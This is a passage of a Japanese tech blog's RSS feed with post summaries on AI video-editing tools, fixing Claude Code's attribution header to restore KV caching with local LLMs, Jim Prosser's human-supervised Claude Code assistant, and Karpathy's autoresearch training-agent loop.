&lt;/ul&gt;</description></item><item><title>AI動画編集 自動化のカラクリ — 自動カット・自動テロップで編集時間を劇的に短縮する方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E5%8B%95%E7%94%BB%E7%B7%A8%E9%9B%86-%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%AE%E3%82%AB%E3%83%A9%E3%82%AF%E3%83%AA-%E8%87%AA%E5%8B%95%E3%82%AB%E3%83%83%E3%83%88%E8%87%AA%E5%8B%95%E3%83%86%E3%83%AD%E3%83%83%E3%83%97%E3%81%A7%E7%B7%A8%E9%9B%86%E6%99%82%E9%96%93%E3%82%92%E5%8A%87%E7%9A%84%E3%81%AB%E7%9F%AD%E7%B8%AE%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</link><pubDate>Fri, 13 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E5%8B%95%E7%94%BB%E7%B7%A8%E9%9B%86-%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%AE%E3%82%AB%E3%83%A9%E3%82%AF%E3%83%AA-%E8%87%AA%E5%8B%95%E3%82%AB%E3%83%83%E3%83%88%E8%87%AA%E5%8B%95%E3%83%86%E3%83%AD%E3%83%83%E3%83%97%E3%81%A7%E7%B7%A8%E9%9B%86%E6%99%82%E9%96%93%E3%82%92%E5%8A%87%E7%9A%84%E3%81%AB%E7%9F%AD%E7%B8%AE%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</guid><description>&lt;p&gt;動画編集者のカズマル氏（株式会社ブイスト）が、300日以上かけて50種類以上のAIツールに500万円以上を課金して検証した「AI動画編集 自動化のカラクリ」が話題になっている。AIによる自動カットと自動テロップで、動画編集のワークフローがどう変わるのかを整理する。&lt;/p&gt;
&lt;h2 id="ai動画編集が解決する2つの課題"&gt;AI動画編集が解決する2つの課題&lt;/h2&gt;
&lt;p&gt;動画編集で最も時間がかかる作業は、大きく2つに分けられる：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;カット編集&lt;/strong&gt; — 無音部分、言い淀み、NGテイクの除去&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テロップ作成&lt;/strong&gt; — 字幕・キャプションの生成と配置&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;従来これらは手作業で行うしかなく、30分のインタビュー動画であればテロップ作成だけで2時間以上かかることも珍しくなかった。AIツールの登場により、これらの作業が大幅に自動化されつつある。&lt;/p&gt;
&lt;h2 id="自動カットの仕組み"&gt;自動カットの仕組み&lt;/h2&gt;
&lt;p&gt;AIによる自動カットは、主に&lt;strong&gt;音声波形解析&lt;/strong&gt;と&lt;strong&gt;無音区間検出&lt;/strong&gt;で実現されている。&lt;/p&gt;
&lt;h3 id="代表的なアプローチ"&gt;代表的なアプローチ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;無音区間の自動検出・削除&lt;/strong&gt;: 音声波形から無音部分を特定し、ワンクリックで除去&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フィラーワード検出&lt;/strong&gt;: 「えーと」「あのー」など不要な言い淀みを音声認識で検出して除去&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ジャンプカット生成&lt;/strong&gt;: 不要な間を詰めた際の映像の不自然さを、自動ズーム・パンで軽減&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="実務での注意点"&gt;実務での注意点&lt;/h3&gt;
&lt;p&gt;感度設定が重要で、高すぎると必要な「間」までカットされてしまう。プレビューで確認しながらの調整が必須だ。&lt;/p&gt;
&lt;h2 id="自動テロップの仕組み"&gt;自動テロップの仕組み&lt;/h2&gt;
&lt;p&gt;音声認識（STT: Speech-to-Text）技術を使い、動画内の音声を自動で文字起こしして字幕化する。&lt;/p&gt;
&lt;h3 id="最新のai文字起こし精度"&gt;最新のAI文字起こし精度&lt;/h3&gt;
&lt;p&gt;2026年現在、日本語の音声認識精度は飛躍的に向上しており、実用レベルに達している。多くのツールが100言語以上に対応し、翻訳字幕の自動生成も可能になっている。&lt;/p&gt;
&lt;h3 id="テロップ作成の効率化"&gt;テロップ作成の効率化&lt;/h3&gt;
&lt;p&gt;手動でテロップを作成する場合と比較して、&lt;strong&gt;最大90%以上の時間短縮&lt;/strong&gt;が見込める。30分のインタビュー動画であれば、通常2時間以上かかるテロップ作成が数分〜15分程度で完了する。&lt;/p&gt;
&lt;h2 id="主要なai動画編集ツール"&gt;主要なAI動画編集ツール&lt;/h2&gt;
&lt;h3 id="vrewブリュー"&gt;Vrew（ブリュー）&lt;/h3&gt;
&lt;p&gt;韓国Voyager X社が開発したオールインワンAIビデオエディター。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;音声認識ベースの編集&lt;/strong&gt;: 動画の音声を自動で文字起こしし、テキストベースで編集可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;無音区間の自動削除&lt;/strong&gt;: ワンクリックで無音部分を検出・削除&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テキスト編集＝映像編集&lt;/strong&gt;: 文字起こしテキストの不要部分を削除すると、対応する映像も自動カット&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;無料プランあり&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="adobe-premiere-pro"&gt;Adobe Premiere Pro&lt;/h3&gt;
&lt;p&gt;プロ向け動画編集ソフトにもAI機能が搭載されている。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;シーン編集検出&lt;/strong&gt;: AIが自動的にシーン境界を検出してカット&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動文字起こし&lt;/strong&gt;: 音声からキャプションを自動生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;カラーマッチ&lt;/strong&gt;: 異なるシーンの色合いをAIで自動調整&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="opusclip"&gt;OpusClip&lt;/h3&gt;
&lt;p&gt;長尺動画からショート動画を自動生成するクラウドサービス。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;見どころの自動抽出&lt;/strong&gt;: AIが重要なセグメントを検出してダイジェスト動画を生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動字幕生成&lt;/strong&gt;: 多言語対応・翻訳機能付き&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ノイズ除去&lt;/strong&gt;: AI音声エンハンス機能&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="powerdirector"&gt;PowerDirector&lt;/h3&gt;
&lt;p&gt;CyberLink社のAI搭載動画編集ソフト。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AI音声読み上げ&lt;/strong&gt;: テキストから音声を自動生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI背景除去・自動顔ぼかし&lt;/strong&gt;: 映像加工の自動化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AIノイズ除去&lt;/strong&gt;: 音声品質の向上&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="500万円の課金検証から見えるもの"&gt;500万円の課金検証から見えるもの&lt;/h2&gt;
&lt;p&gt;カズマル氏のように大量のツールを実際に業務で検証することで見えてくるのは、&lt;strong&gt;単一のツールで完結するケースは少ない&lt;/strong&gt;ということだ。実務では複数のツールを組み合わせたワークフローが必要になる。&lt;/p&gt;
&lt;h3 id="一般的なai動画編集ワークフロー"&gt;一般的なAI動画編集ワークフロー&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;素材撮影 → AIで無音カット → AI文字起こし → テロップ調整 → 最終編集
（Vrew等） （Vrew/Premiere） （手動微調整） （Premiere等）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;重要なのは、AIは「完全自動化」ではなく「大幅な時短」を実現するツールだという点だ。最終的な品質チェックと微調整は人間の判断が必要になる。&lt;/p&gt;</description></item><item><title>Claude Code × ローカルLLM で KVキャッシュが毎回無効化される問題と対策</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm-%E3%81%A7-kv%E3%82%AD%E3%83%A3%E3%83%83%E3%82%B7%E3%83%A5%E3%81%8C%E6%AF%8E%E5%9B%9E%E7%84%A1%E5%8A%B9%E5%8C%96%E3%81%95%E3%82%8C%E3%82%8B%E5%95%8F%E9%A1%8C%E3%81%A8%E5%AF%BE%E7%AD%96/</link><pubDate>Fri, 13 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm-%E3%81%A7-kv%E3%82%AD%E3%83%A3%E3%83%83%E3%82%B7%E3%83%A5%E3%81%8C%E6%AF%8E%E5%9B%9E%E7%84%A1%E5%8A%B9%E5%8C%96%E3%81%95%E3%82%8C%E3%82%8B%E5%95%8F%E9%A1%8C%E3%81%A8%E5%AF%BE%E7%AD%96/</guid><description>&lt;p&gt;Claude Code をローカルLLM（llama.cpp、Ollama など）で使う際に、&lt;strong&gt;毎回プロンプト処理に異常な時間がかかる&lt;/strong&gt;という問題が報告されています。原因は Claude Code が付加する「Attribution Header」によるKVキャッシュの無効化です。設定一つで解決できるので、対処法をまとめます。&lt;/p&gt;
&lt;h2 id="何が起きているのか"&gt;何が起きているのか&lt;/h2&gt;
&lt;p&gt;Claude Code v2.1.36 以降、リクエストごとに以下のような Attribution Header がプロンプトの先頭に付加されるようになりました。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;x-anthropic-billing-header: cc_version=xxxx; cc_entrypoint=cli; cch=xxxx;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;この &lt;code&gt;cch&lt;/code&gt; の値がリクエストのたびに変化します。ローカルLLMサーバー（llama.cpp、Ollama、LM Studio など）は&lt;strong&gt;プロンプトの先頭からバイト単位で一致した部分までKVキャッシュを再利用&lt;/strong&gt;する仕組みのため、先頭が毎回変わると&lt;strong&gt;キャッシュが丸ごと無効化&lt;/strong&gt;されます。&lt;/p&gt;
&lt;p&gt;結果として、数万トークンのシステムプロンプトや会話履歴を毎回ゼロから処理することになり、&lt;strong&gt;推論速度が最大90%低下&lt;/strong&gt;するという報告があります。&lt;/p&gt;
&lt;h2 id="対策attribution-header-を無効化する"&gt;対策：Attribution Header を無効化する&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;~/.claude/settings.json&lt;/code&gt; の &lt;code&gt;env&lt;/code&gt; セクションに以下を追加します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;env&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;CLAUDE_CODE_ATTRIBUTION_HEADER&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;既に &lt;code&gt;settings.json&lt;/code&gt; がある場合は &lt;code&gt;env&lt;/code&gt; セクション内にキーを追加してください。&lt;/p&gt;
&lt;h3 id="注意点"&gt;注意点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;export CLAUDE_CODE_ATTRIBUTION_HEADER=0&lt;/code&gt; ではダメ&lt;/strong&gt;。シェルの環境変数として設定しても反映されません。必ず &lt;code&gt;settings.json&lt;/code&gt; 経由で設定します&lt;/li&gt;
&lt;li&gt;ついでに不要なテレメトリも無効化しておくと、余計な通信を減らせます&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;env&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;CLAUDE_CODE_ATTRIBUTION_HEADER&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;CLAUDE_CODE_ENABLE_TELEMETRY&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="kvキャッシュの仕組みをおさらい"&gt;KVキャッシュの仕組みをおさらい&lt;/h2&gt;
&lt;p&gt;ローカルLLMサーバーが採用している Prefix Caching（Automatic Prefix Caching）は、プロンプトの&lt;strong&gt;先頭から連続して一致するトークン列&lt;/strong&gt;のKV（Key-Value）テンソルを再利用する仕組みです。&lt;/p&gt;</description></item><item><title>Claude Codeで「AI チーフ・オブ・スタッフ」を構築する ― Jim Prosserの36時間実験</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7ai-%E3%83%81%E3%83%BC%E3%83%95%E3%82%AA%E3%83%96%E3%82%B9%E3%82%BF%E3%83%83%E3%83%95%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B-jim-prosser%E3%81%AE36%E6%99%82%E9%96%93%E5%AE%9F%E9%A8%93/</link><pubDate>Fri, 13 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%A7ai-%E3%83%81%E3%83%BC%E3%83%95%E3%82%AA%E3%83%96%E3%82%B9%E3%82%BF%E3%83%83%E3%83%95%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B-jim-prosser%E3%81%AE36%E6%99%82%E9%96%93%E5%AE%9F%E9%A8%93/</guid><description>&lt;p&gt;テックコミュニケーション・コンサルタントのJim Prosser氏が、Claude Codeを使って36時間で個人用AIアシスタントシステムを構築した。「My chief of staff, Claude Code」と題されたこの取り組みは、非エンジニアがClaude Codeのサブエージェント機能を活用して日常業務を自動化した実践例として注目を集めている。&lt;/p&gt;
&lt;h2 id="システムの全体像"&gt;システムの全体像&lt;/h2&gt;
&lt;p&gt;Prosser氏が構築したのは、毎朝起床前に自動で業務の下準備を完了させるシステムだ。常時稼働のMac Studio上で2つの自動プロセスが夜間に実行され、朝6:15までに処理が完了する。&lt;/p&gt;
&lt;p&gt;主な機能:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;メール自動トリアージ&lt;/strong&gt; — 受信メールからアクション可能な項目を特定し、Todoistのタスクと重複チェック&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;カレンダー管理&lt;/strong&gt; — Google Maps APIを使った実際の移動時間計算を含むスケジュール最適化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6つの並列AIエージェント&lt;/strong&gt; — Claude Codeのサブエージェント機能で独立したワーカーを同時実行&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="am-sweepボタンの仕組み"&gt;「AM Sweep」ボタンの仕組み&lt;/h2&gt;
&lt;p&gt;Stream Deckの物理ボタンを押すと、6つの専門エージェントが並列で起動する:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;メール下書き作成（送信はしない、レビュー用の下書きのみ）&lt;/li&gt;
&lt;li&gt;Obsidianのクライアントファイル更新&lt;/li&gt;
&lt;li&gt;ミーティングのスケジュール調整&lt;/li&gt;
&lt;li&gt;見込み客やトピックのバックグラウンドリサーチ&lt;/li&gt;
&lt;li&gt;タスクの分類とコンテキスト収集&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;各エージェントは独自のコンテキストウィンドウとスコープされたツールアクセスを持ち、互いに干渉せずに動作する。&lt;/p&gt;
&lt;h2 id="タスク4色分類フレームワーク"&gt;タスク4色分類フレームワーク&lt;/h2&gt;
&lt;p&gt;Prosser氏は「dispatch, prep, yours, skip」の4段階でタスクを分類する:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;色&lt;/th&gt;
&lt;th&gt;分類&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;🟢 緑&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Dispatch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AIが完全に処理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🟡 黄&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Prep&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AIが80%完了、人間が仕上げ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔴 赤&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Yours&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間の判断が必要としてフラグ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;⚪ 灰&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Skip&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;理由付きで延期&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;重要なのは、判断に迷う場合は「Dispatch」ではなく「Prep」にデフォルトする設計だ。AIが勝手に完了させるのではなく、人間が最終判断する余地を常に残している。&lt;/p&gt;
&lt;h2 id="人間とaiの境界線"&gt;人間とAIの境界線&lt;/h2&gt;
&lt;p&gt;このシステムの設計で最も重要な原則は「AIにやらせないことを決める」ことだ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;メールは絶対に送信しない&lt;/strong&gt; — 下書きのみ作成し、人間がレビューして送信&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;戦略的決定は人間が行う&lt;/strong&gt; — 価格交渉、関係性に配慮が必要なコミュニケーションはAI対象外&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不確実な場合はPrepにデフォルト&lt;/strong&gt; — 自動処理より人間の関与を優先&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="time-block機能"&gt;Time Block機能&lt;/h2&gt;
&lt;p&gt;残タスクをカレンダーイベントに変換する機能も備えている:&lt;/p&gt;</description></item><item><title>Karpathy の autoresearch — LLMに「このLLMを訓練して」と丸投げしたら一晩で公式チームを超えた話</title><link>https://hdknr.github.io/blogs/posts/2026/03/karpathy-%E3%81%AE-autoresearch-llm%E3%81%AB%E3%81%93%E3%81%AEllm%E3%82%92%E8%A8%93%E7%B7%B4%E3%81%97%E3%81%A6%E3%81%A8%E4%B8%B8%E6%8A%95%E3%81%92%E3%81%97%E3%81%9F%E3%82%89%E4%B8%80%E6%99%A9%E3%81%A7%E5%85%AC%E5%BC%8F%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E8%B6%85%E3%81%88%E3%81%9F%E8%A9%B1/</link><pubDate>Fri, 13 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/karpathy-%E3%81%AE-autoresearch-llm%E3%81%AB%E3%81%93%E3%81%AEllm%E3%82%92%E8%A8%93%E7%B7%B4%E3%81%97%E3%81%A6%E3%81%A8%E4%B8%B8%E6%8A%95%E3%81%92%E3%81%97%E3%81%9F%E3%82%89%E4%B8%80%E6%99%A9%E3%81%A7%E5%85%AC%E5%BC%8F%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E8%B6%85%E3%81%88%E3%81%9F%E8%A9%B1/</guid><description>&lt;p&gt;Andrej Karpathy が2026年3月に公開した &lt;a href="https://github.com/karpathy/autoresearch"&gt;autoresearch&lt;/a&gt; は、AIエージェントにLLMのトレーニングを丸投げするツールだ。GPU1台・一晩放置するだけで、エージェントが自律的にコード修正→実験→評価を繰り返し、人間の研究者なしで性能を改善していく。&lt;/p&gt;
&lt;p&gt;実際に Karpathy 自身が約700回の実験を実行したところ、GPT-2の学習時間が2.02時間→1.80時間へ11%短縮された。さらに別の開発者は、8時間・37実験で0.8Bモデルが従来の1.6Bモデルを19%上回るスコアを叩き出している。&lt;/p&gt;
&lt;h2 id="autoresearch-の仕組み"&gt;autoresearch の仕組み&lt;/h2&gt;
&lt;p&gt;autoresearch はわずか630行のPythonで構成されており、3つのコアファイルで動作する。&lt;/p&gt;
&lt;h3 id="3つのコンポーネント"&gt;3つのコンポーネント&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ファイル&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;編集者&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;program.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;エージェントへの指示書（戦略・ルール・評価基準）&lt;/td&gt;
&lt;td&gt;人間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;prepare.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;データ準備・トークナイザー・評価関数（固定）&lt;/td&gt;
&lt;td&gt;変更禁止&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;train.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;モデル・オプティマイザ・学習ループ&lt;/td&gt;
&lt;td&gt;AIエージェント&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="エージェントループ"&gt;エージェントループ&lt;/h3&gt;
&lt;p&gt;エージェントは以下のサイクルを自動で繰り返す:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;program.md&lt;/code&gt; を読んで戦略を把握&lt;/li&gt;
&lt;li&gt;&lt;code&gt;train.py&lt;/code&gt; を修正（アーキテクチャ変更、ハイパーパラメータ調整など）&lt;/li&gt;
&lt;li&gt;5分間の固定時間でトレーニングを実行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;val_bpb&lt;/code&gt;（検証ビット/バイト）が改善したか確認&lt;/li&gt;
&lt;li&gt;改善 → 変更を保持、悪化 → 変更を破棄&lt;/li&gt;
&lt;li&gt;1に戻る&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;5分の固定時間予算により、1時間あたり約12実験、一晩（8時間）で約100実験が可能になる。&lt;/p&gt;
&lt;h2 id="実験結果"&gt;実験結果&lt;/h2&gt;
&lt;h3 id="karpathy-自身の実験"&gt;Karpathy 自身の実験&lt;/h3&gt;
&lt;p&gt;Karpathy は自身の nanochat（GPT-2トレーニング環境）に autoresearch を適用:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;約700回の実験&lt;/strong&gt;を2日間で実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;約20個の実質的な改善&lt;/strong&gt;を発見&lt;/li&gt;
&lt;li&gt;GPT-2到達時間: &lt;strong&gt;2.02時間 → 1.80時間&lt;/strong&gt;（11%短縮）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;発見された改善の例:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;バッチサイズの半減（5分以内のステップ数増加）&lt;/li&gt;
&lt;li&gt;モデル深度の調整（depth 9への最適化）&lt;/li&gt;
&lt;li&gt;スライディングウィンドウ比率のチューニング&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="コミュニティの成果"&gt;コミュニティの成果&lt;/h3&gt;
&lt;p&gt;GitHub Discussions で報告された改善:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Discussion #32&lt;/strong&gt;: val_bpb を 0.9979 → 0.9773 に改善（89実験、H100 80GB）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Discussion #43&lt;/strong&gt;: val_bpb を 0.9979 → 0.9697 に改善（126実験、H100 80GB）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tobi のケース&lt;/strong&gt;: 0.8Bモデルが従来の1.6Bモデルを &lt;strong&gt;19%上回るスコア&lt;/strong&gt;（37実験、8時間）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="使用されるllm"&gt;使用されるLLM&lt;/h2&gt;
